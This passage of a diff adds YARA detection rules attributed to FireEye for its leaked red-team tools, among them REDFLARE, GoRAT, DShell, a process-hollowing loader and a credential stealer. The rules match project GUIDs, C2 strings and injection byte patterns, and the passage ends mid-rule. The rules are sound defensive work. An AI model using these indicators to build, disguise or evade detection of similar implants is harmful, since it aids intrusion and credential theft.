+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "32fb6b1d-e01f-5555-8516-088dca2166cf"
+    strings:
+        $typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Downloader_Win32_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "05b99d438dac63a5a993cea37c036673"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e8d7ee31-568e-58ac-98ad-49baa2eb37ea"
+    strings:
+        $const = "Cookie: SID1=%s" fullword
+        $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule Loader_MSIL_WMIRunner_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "04c6acfc-859f-5e4a-8c59-9adf08f21657"
+    strings:
+        $typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharpStomp_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project."
+        md5 = "83ed748cd94576700268d35666bf3e01"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e113c221-fabe-5af4-b763-463c4f86288d"
+    strings:
+        $typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule Tool_MSIL_SharpGrep_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b"
+    strings:
+        $typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Dropper_HTA_WildChild_1
+{
+    meta:
+        description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder."
+        md5 = "3e61ca5057633459e96897f79970a46d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "f570baa5-7d58-5a0a-b713-769e62076f76"
+    strings:
+        $s1 = "processpath" ascii wide
+        $s2 = "v4.0.30319" ascii wide
+        $s3 = "v2.0.50727" ascii wide
+        $s4 = "COMPLUS_Version" ascii wide
+        $s5 = "FromBase64Transform" ascii wide
+        $s6 = "MemoryStream" ascii wide
+        $s7 = "entry_class" ascii wide
+        $s8 = "DynamicInvoke" ascii wide
+        $s9 = "Sendoff" ascii wide
+        $script_header = "<script language=" ascii wide
+    condition:
+        $script_header at 0 and all of ($s*)
+}
+rule APT_Builder_PY_REDFLARE_2
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "4410e95de247d7f1ab649aa640ee86fb"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "74c56ee1-734e-5fdb-beee-6345a5993f68"
+    strings:
+        $s1 = "<510sxxII"
+        $s2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
+        $s3 = "parsePluginOutput"
+    condition:
+        all of them and #s2 == 2
+}
+rule APT_Loader_Win32_DShell_3
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "12c3566761495b8353f67298f15b882c"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "6b6fccef-ac93-5f1b-b9b6-c2d3ee4d8da7"
+    strings:
+        $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "base64.d" fullword
+        $ss3 = "core.sys.windows" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_Trojan_Linux_REDFLARE_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "220302bc-4ed3-5e10-9bd2-a8ed2bdaef73"
+    strings:
+        $s1 = "find_applet_by_name" fullword
+        $s2 = "bb_basename" fullword
+        $s3 = "hk_printf_chk" fullword
+        $s4 = "runCommand" fullword
+        $s5 = "initialize" fullword
+    condition:
+        (uint32(0) == 0x464c457f) and all of them
+}
+rule Loader_MSIL_WildChild_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project."
+        md5 = "7e6bc0ed11c2532b2ae7060327457812"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "350dd658-46c9-573b-b532-07e4b437ba8d"
+    strings:
+        $typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule MSIL_Launcher_DUEDLLIGENCE_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project."
+        md5 = "a91bf61cc18705be2288a0f6f125068f"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd"
+    strings:
+        $typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Backdoor_Win_GORAT_2
+{
+    meta:
+        description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times."
+        md5 = "f59095f0ab15f26a1ead7eed8cdb4902"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e2c47711-d088-5cb4-8d21-f8199a865a28"
+    strings:
+        $go1 = "go.buildid" ascii wide
+        $go2 = "Go build ID:" ascii wide
+        $json1 = "json:\"pid\"" ascii wide
+        $json2 = "json:\"key\"" ascii wide
+        $json3 = "json:\"agent_time\"" ascii wide
+        $json4 = "json:\"rid\"" ascii wide
+        $json5 = "json:\"ports\"" ascii wide
+        $json6 = "json:\"agent_platform\"" ascii wide
+        $rat = "rat" ascii wide
+        $str1 = "handleCommand" ascii wide
+        $str2 = "sendBeacon" ascii wide
+        $str3 = "rat.AgentVersion" ascii wide
+        $str4 = "rat.Core" ascii wide
+        $str5 = "rat/log" ascii wide
+        $str6 = "rat/comms" ascii wide
+        $str7 = "rat/modules" ascii wide
+        $str8 = "murica" ascii wide
+        $str9 = "master secret" ascii wide
+        $str10 = "TaskID" ascii wide
+        $str11 = "rat.New" ascii wide
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat > 1000
+}
+rule APT_Loader_Win64_REDFLARE_2
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "100d73b35f23b2fe84bf7cd37140bf4d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "043f4e29-710d-5e17-a0ed-82cd3a565194"
+    strings:
+        $alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 }
+        $inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF }
+        $s1 = "ResumeThread" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule HackTool_MSIL_SharPersist_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project."
+        md5 = "98ecf58d48a3eae43899b45cec0fc6b7"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a"
+    strings:
+        $typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+
+/* bad performance */
+/*
+rule APT_Backdoor_Win_DShell_1
+{
+    meta:
+        description = "This rule is looking for sections of an integer array which contains the encoded payload along with a selection of Windows functions that are present within a DShell payload"
+        md5 = "152fc2320790aa16ef9b6126f47c3cca"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+    strings:
+        $e0 = ",0,"
+        $e1 = ",1,"
+        $e2 = ",2,"
+        $e3 = ",3,"
+        $e4 = ",4,"
+        $e5 = ",5,"
+        $e6 = ",6,"
+        $e7 = ",7,"
+        $e8 = ",8,"
+        $e9 = ",9,"
+        $e10 = ",10,"
+        $e11 = ",11,"
+        $e12 = ",12,"
+        $e13 = ",13,"
+        $e14 = ",14,"
+        $e15 = ",15,"
+        $e16 = ",16,"
+        $e17 = ",17,"
+        $e18 = ",18,"
+        $e19 = ",19,"
+        $e20 = ",20,"
+        $e21 = ",21,"
+        $e22 = ",22,"
+        $e23 = ",23,"
+        $e24 = ",24,"
+        $e25 = ",25,"
+        $e26 = ",26,"
+        $e27 = ",27,"
+        $e28 = ",28,"
+        $e29 = ",29,"
+        $e30 = ",30,"
+        $e31 = ",31,"
+        $e32 = ",32,"
+        $e33 = ",33,"
+        $e34 = ",34,"
+        $e35 = ",35,"
+        $e36 = ",36,"
+        $e37 = ",37,"
+        $e38 = ",38,"
+        $e39 = ",39,"
+        $e40 = ",40,"
+        $e41 = ",41,"
+        $e42 = ",42,"
+        $e43 = ",43,"
+        $e44 = ",44,"
+        $e45 = ",45,"
+        $e46 = ",46,"
+        $e47 = ",47,"
+        $e48 = ",48,"
+        $e49 = ",49,"
+        $e50 = ",50,"
+        $e51 = ",51,"
+        $e52 = ",52,"
+        $e53 = ",53,"
+        $e54 = ",54,"
+        $e55 = ",55,"
+        $e56 = ",56,"
+        $e57 = ",57,"
+        $e58 = ",58,"
+        $e59 = ",59,"
+        $e60 = ",60,"
+        $e61 = ",61,"
+        $e62 = ",62,"
+        $e63 = ",63,"
+        $e64 = ",64,"
+        $s1 = "GetACP"
+        $s2 = "GetOEMCP"
+        $s3 = "GetCPInfo"
+        $s4 = "WriteConsoleA"
+        $s5 = "FindFirstFileA"
+        $s6 = "FileTimeToDosDateTime"
+        $s7 = "FindNextFileA"
+        $s8 = "GetStringTypeA"
+        $s9 = "GetFileType"
+        $s10 = "CreateFileA"
+        $s11 = "GlobalAlloc"
+        $s12 = "GlobalFree"
+        $s13 = "GetTickCount"
+        $s14 = "GetProcessHeap"
+        $s15 = "UnhandledExceptionFilter"
+        $s16 = "ExitProcess"
+        $s17 = "GetModuleFileNameA"
+        $s18 = "LCMapStringA"
+        $s19 = "GetLocalTime"
+        $s20 = "CreateThread"
+        $s21 = "ExitThread"
+        $s22 = "SetConsoleCtrlHandler"
+        $s23 = "FreeEnvironmentStringsA"
+        $s24 = "GetVersion"
+        $s25 = "GetEnvironmentStrings"
+        $s26 = "SetHandleCount"
+        $s27 = "SetFilePointer"
+        $s28 = "DeleteFileA"
+        $s29 = "HeapAlloc"
+        $s30 = "HeapReAlloc"
+        $s31 = "HeapFree"
+        $s32 = "GetCommandLineA"
+        $s33 = "GetThreadContext"
+        $s34 = "SuspendThread"
+        $s35 = "FindFirstFileW"
+        $s36 = "FindNextFileW"
+        $s37 = "FindClose"
+        $s38 = "CreateSemaphoreA"
+        $s39 = "ReleaseSemaphore"
+        $s40 = "ExpandEnvironmentStringsW"
+        $s41 = "lstrlenW"
+        $s42 = "GetModuleHandleA"
+        $s43 = "GetEnvironmentVariableA"
+        $s44 = "RtlCaptureContext"
+        $s45 = "GlobalMemoryStatus"
+        $s46 = "VirtualAlloc"
+        $s47 = "Sleep"
+        $s48 = "SystemTimeToTzSpecificLocalTime"
+        $s49 = "TzSpecificLocalTimeToSystemTime"
+        $s50 = "GetTimeZoneInformation"
+        $s51 = "TryEnterCriticalSection"
+        $s52 = "LoadLibraryA"
+        $s53 = "VirtualFree"
+        $s54 = "GetExitCodeThread"
+        $s55 = "WaitForSingleObject"
+        $s56 = "ResumeThread"
+        $s57 = "DuplicateHandle"
+        $s58 = "GetCurrentProcess"
+        $s59 = "GetCurrentThread"
+        $s60 = "GetCurrentThreadId"
+        $s61 = "InitializeCriticalSection"
+        $s62 = "DeleteCriticalSection"
+        $s63 = "SwitchToThread"
+        $s64 = "LeaveCriticalSection"
+        $s65 = "EnterCriticalSection"
+        $s66 = "FormatMessageW"
+        $s67 = "SetLastError"
+        $s68 = "GetEnvironmentVariableW"
+        $s69 = "FreeEnvironmentStringsW"
+        $s70 = "GetEnvironmentStringsW"
+        $s71 = "SetEnvironmentVariableW"
+        $s72 = "GetSystemInfo"
+        $s73 = "QueryPerformanceFrequency"
+        $s74 = "QueryPerformanceCounter"
+        $s75 = "CreateProcessW"
+        $s76 = "GetStdHandle"
+        $s77 = "GetHandleInformation"
+        $s78 = "SetHandleInformation"
+        $s79 = "WriteFile"
+        $s80 = "GetConsoleOutputCP"
+        $s81 = "FreeLibrary"
+        $s82 = "GetConsoleScreenBufferInfo"
+        $s83 = "MultiByteToWideChar"
+        $s84 = "RaiseException"
+        $s85 = "RtlUnwind"
+        $s86 = "GetCurrentDirectoryW"
+        $s87 = "IsDebuggerPresent"
+        $s88 = "LocalFree"
+        $s89 = "WideCharToMultiByte"
+        $s90 = "GetCommandLineW"
+        $s91 = "ReadFile"
+        $s92 = "GetFileSize"
+        $s93 = "CloseHandle"
+        $s94 = "CreateFileW"
+        $s95 = "LoadLibraryW"
+        $s96 = "GetProcAddress"
+        $s97 = "GetFileAttributesW"
+        $s98 = "GetLastError"
+        $s99 = "CommandLineToArgvW"
+        $s100 = "MessageBoxA"
+        $s101 = "RegEnumValueW"
+        $s102 = "RegEnumKeyExW"
+        $s103 = "RegDeleteValueW"
+        $s104 = "RegFlushKey"
+        $s105 = "RegQueryInfoKeyW"
+        $s106 = "RegDeleteKeyW"
+        $s107 = "RegQueryValueExW"
+        $s108 = "RegSetValueExW"
+        $s109 = "RegOpenKeyW"
+        $s110 = "RegOpenKeyExW"
+        $s111 = "RegCreateKeyExW"
+        $s112 = "RegCloseKey"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize > 500KB and 105 of ($s*) and $s112 in (3000..4000) and 40 of ($e*)
+}
+*/
+rule APT_Backdoor_Win_GORAT_4
+{
+    meta:
+        description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
+        md5 = "f59095f0ab15f26a1ead7eed8cdb4902"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ae67445c-e7fd-5858-be8b-7ee84a16a031"
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and pe.exports("MemoryCallEntryPoint") and pe.exports("MemoryDefaultAlloc") and pe.exports("MemoryDefaultFree") and pe.exports("MemoryDefaultFreeLibrary") and pe.exports("MemoryDefaultGetProcAddress") and pe.exports("MemoryDefaultLoadLibrary") and pe.exports("MemoryFindResource") and pe.exports("MemoryFindResourceEx") and pe.exports("MemoryFreeLibrary") and pe.exports("MemoryGetProcAddress") and pe.exports("MemoryLoadLibrary") and pe.exports("MemoryLoadLibraryEx") and pe.exports("MemoryLoadResource") and pe.exports("MemoryLoadString") and pe.exports("MemoryLoadStringEx") and pe.exports("MemorySizeofResource") and pe.exports("callback") and pe.exports("crosscall2") and pe.exports("crosscall_386")
+}
+rule APT_HackTool_MSIL_SHARPNFS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b9d1b4e8-644a-5611-85e8-a124f915b443"
+    strings:
+        $typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule CredTheft_MSIL_CredSnatcher_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0d8f7495-4748-577d-8ef2-ccc4829fc165"
+    strings:
+        $typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SEATBELT_2
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project."
+        md5 = "9f401176a9dd18fa2b5b90b4a2aa1356"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1"
+    strings:
+        $typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Loader_Win32_DShell_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "12c3566761495b8353f67298f15b882c"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "dad763bd-0e4a-542a-9920-ece11d23ce24"
+    strings:
+        $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+        $sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "base64.d" fullword
+        $ss3 = "core.sys.windows" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_Loader_Win32_PGF_1
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
+        md5 = "383161e4deaf7eb2ebeda2c5e9c3204c"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1af4f2ce-c540-5836-a749-43a0b08609b1"
+    strings:
+        $sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB }
+        $sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) }
+        $sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPDACL_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "13f4e3ea-1e36-5fad-9197-66511d6f026a"
+    strings:
+        $typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide
+    condition:
+        filesize < 10MB and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8"
+    strings:
+        $typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Downloader_Win64_REDFLARE_1
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "9529c4c9773392893a8a0ab8ce8f8ce1"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "15a5e22b-84b0-5b36-8772-1d496ac447b2"
+    strings:
+        $const = "Cookie: SID1=%s" fullword
+        $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Loader_Win64_MATRYOSHKA_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        description = "matryoshka_process_hollow.rs"
+        md5 = "44887551a47ae272d7873a354d24042d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "69919a80-8ed1-5b8c-911a-ceb75570f11f"
+    strings:
+        $sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 }
+        $sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 }
+        $sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule HackTool_MSIL_WMIspy_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ac394751-da40-564b-8e24-8f353326b46a"
+    strings:
+        $typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_3
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a"
+    strings:
+        $calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 }
+        $str1 = "CreateCompatibleBitmap" fullword
+        $str2 = "BitBlt" fullword
+        $str3 = "runCommand" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win_PGF_1
+{
+    meta:
+        description = "PDB string used in some PGF DLL samples"
+        md5 = "013c7708f1343d684e3571453261b586"
